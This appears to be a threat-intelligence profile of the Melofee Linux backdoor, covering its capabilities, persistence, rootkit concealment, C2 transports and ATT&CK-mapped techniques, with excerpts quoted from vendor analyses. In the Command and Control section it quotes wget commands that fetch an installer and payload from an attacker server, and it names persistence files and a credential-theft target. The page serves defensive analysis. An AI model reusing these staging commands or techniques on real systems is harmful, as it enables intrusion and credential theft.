Mélofée
- Type
- Backdoor
- Capabilities
- PersistenceDefense evasionReconnaissanceExfiltrationPost exploitation
- Platforms
- Linux
Melofee (Mélofée) is a C++ backdoor family targeting Linux servers, publicly documented in March 2023 and linked with high confidence to China-linked state-sponsored activity, particularly the Winnti cluster. Samples dating from 2022 demonstrate continuing development of its communications, configuration protection, persistence, and kernel-rootkit integration. A subsequently identified variant specifically targeted Red Hat Enterprise Linux 7.9.
The backdoor supports arbitrary command execution, interactive shells, file retrieval and modification, directory management, socket creation, and collection of host information. It also provides update, relaunch, and removal functions. Command-and-control transports include raw TCP, TLS, and UDP using KCP. Configuration protection varies between RC4 and single-byte XOR, while later samples also encrypt command traffic with RC4.
Melofee establishes persistence through system startup scripts or user shell initialization files, depending on its privileges; a later variant uses scheduled jobs. Some variants deploy a modified Reptile kernel rootkit. Early implementations conceal installation artifacts by intercepting directory enumeration, while a later variant additionally conceals processes and network connections. The implant controls concealment through a user-space interface to the kernel module. Additional evasion features include encrypted embedded components and process-name masquerading.
Melofee provides persistent post-compromise access to Linux systems. Its initial-access and distribution mechanisms are not established. Infrastructure overlaps connect it with Winnti-associated tooling, including HelloBot and ShadowPad, while code similarities connect it with SparrowShell; these relationships do not independently establish a common operator or supplier.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
It also assessed that CopperDragon is involved in maintaining and supplying variants of the Melofee backdoor.
Techniques & procedures
27 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
4 techniques
Resource Development
T1583.001 - Attackers acquired servers for staging and command & control
The implant and the rootkit were installed using shell commands downloading both the installer and a custom binary package from an adversary controlled server.
All these samples shared a common code base, but showed a constant development
This server was known to be used to stage archives containing an installer for the Linux version of the Winnti rootkit.
Execution
1 technique
Execution
0x50001 exec_command_with_output ... 0x60001 launch_shell
Persistence
2 techniques
Persistence
Writing to this script ensures that both kernel and implant are executed at boot time.
If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile
Privilege Escalation
2 techniques
Privilege Escalation
Writing to this script ensures that both kernel and implant are executed at boot time.
If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile
Stealth
6 techniques
Stealth
The first sample we found dropped a rootkit based on a modified version of the open source projet Reptile.
A 2.7 MB ELF binary with near-maximum entropy (7.997 bits per byte across ~832 KB of code). The obfuscation isn't packing -- it's a custom code virtualizer or instruction-level transformation that renders static analysis effectively impossible without dedicated devirtualization tooling.
T1070.004 - Adversary can remove the implant, the rootkit and its configuratin from the system
This implant implemented a similar mechanism for limiting working hours (defined as worktime)
Reptile provides a concealment feature for files, directories, processes, and network communications.
not display files with names containing intel_audio or rc.modules when listing a directory
Defense Impairment
2 techniques
Defense Impairment
Finally, the host is instructed to accept network traffic on the port 57590
Depending on a configuration flag, the implant can install iptables rules to redirect TCP network traffic ... Finally, the host is instructed to accept network traffic on the port 57590
Credential Access
1 technique
Credential Access
The most operationally significant capability is the backdoor's access to cloud instance metadata at 169.254.169.254 . This is the link-local address that every major cloud provider uses to serve instance credentials, API tokens, and configuration data to running workloads.
Discovery
3 techniques
Discovery
send_local_information Hostname, date, current UID, implant version number
0x40001 list_directory
This implant implemented a similar mechanism for limiting working hours (defined as worktime)
Command and Control
9 techniques
Command and Control
three socket types are implemented: TCPSocket... TLSSocket... UDPSocket... Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications
Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications, but it was not implemented in the analyzed samples.
Also implements the management of a Socks proxy
0x10004 create_socket Create a bidirectional socket, probably used for proxying
TCPSocket ... using raw TCP ... UDPSocket ... using the KCP protocol to send data.
wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd
T1132.002 - Non standard encoding using KCP
T1571 - Adversary can use alternative ports for communication
in the last one it is encrypted using the RC4 algorithm with a hardcoded key
Observables
27 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.